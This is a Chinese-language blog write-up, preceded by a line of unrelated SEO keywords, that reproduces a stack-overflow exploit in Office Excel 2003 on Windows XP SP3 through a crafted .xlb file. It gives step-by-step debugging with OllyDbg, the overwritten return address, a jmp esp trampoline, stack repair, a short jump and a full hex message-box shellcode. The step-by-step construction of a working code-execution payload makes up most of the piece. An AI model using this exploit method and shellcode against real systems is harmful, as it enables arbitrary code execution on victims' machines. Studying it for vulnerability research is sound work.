建设干部学校网站首页,网站开发 开源,网页制作与设计命令,外贸网站推广 sit作者丨黑蛋目标程序调试工具16进制编辑器XP SP3office 2003ollydbg010Editor三、漏洞验证首先我们配置环境#xff0c;并下载poc#xff1a;使用ollydbg附加office excel 2003#xff1a;打开poc可以看到发生了访问违规异常#xff0c;像地址0x51453844中写入时发生异常并下载poc使用ollydbg附加office excel 2003打开poc可以看到发生了访问违规异常像地址0x51453844中写入时发生异常证明漏洞是存在的。四、漏洞复现继续上述操作到发生异常的时候回到堆栈然后转到EBP附近可以看到给EAX赋值EBP2C的值再向EAX中的地址写入时发生了异常。接下来记下300CE361这个发生异常的地址下断点再自己随意创建一个文件123.xlb然后继续打开excel并用ollydbg附加我们看看异常时候堆栈的正常情况是咋样的可以看到EBP这里是不一样的然后我们在堆栈中对EBP4的位置按回车可以看到这里就是关键函数我们下断点300CFACF然后重新运行打开poc可以看到断点断在了关键函数接下来我们顺带在0013AA90此时EBP4处下内存写入断点然后跑起来第一次断在了一个拷贝代码处但是查看堆栈这里并不是0013AA8C处我们继续运行同样停留在这个地方而此时的堆栈已经在0013AA90附近我们在断点处上方shr ecx2处下断点然后重新运行按照前面经验我们需要断在第二次然后观察可以看到拷贝数据是ESI指向的一坨然后拷贝起始地址在0013AA3B拷贝长度是300。我们记下这一坨在poc中查找然后我们锁定堆栈再走完拷贝代码可以看到返回地址被修改同时这块被篡改的数值是30424232记录这个数据可以待会构造payload然后我们ctrlf查找jmp esp接下来用010Editor打开poc找找前面那坨拷贝数据接下来我们初步构造一下把返回地址那里改成jmp esp地址30018447)然后后面跟上我们的祖传弹窗shellcode其他地方改成90909090弹窗shellcodeFC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 5368 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 5920 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3AC4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 032C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 5053 FF 57 FC 53 FF 57 F8然后在shellcode结尾加4个90隔开接下来我们继续用excel打开改造后的xlb可以看到位置没有出错我们执行到返回发现并没有执行到跳板指令那里我们继续执行到返回然后再继续执行到返回结果出现异常可以看到这里出现异常所以我们需要修复堆栈在EBP2C的地址放一个可以写入的地址0013AA7C然后前面都是90909090再加一个短跳跳到EBP2C的位置然后在EBP2C4的位置开始放入shellcode短跳EB 12开始构造新的payload然后继续测试可以看到这里没有发生异常到了jmp esp这里出了岔子跳到了shellcode4的位置导致代码识别出错我们需要把shellcode再往后挪一下这次成功了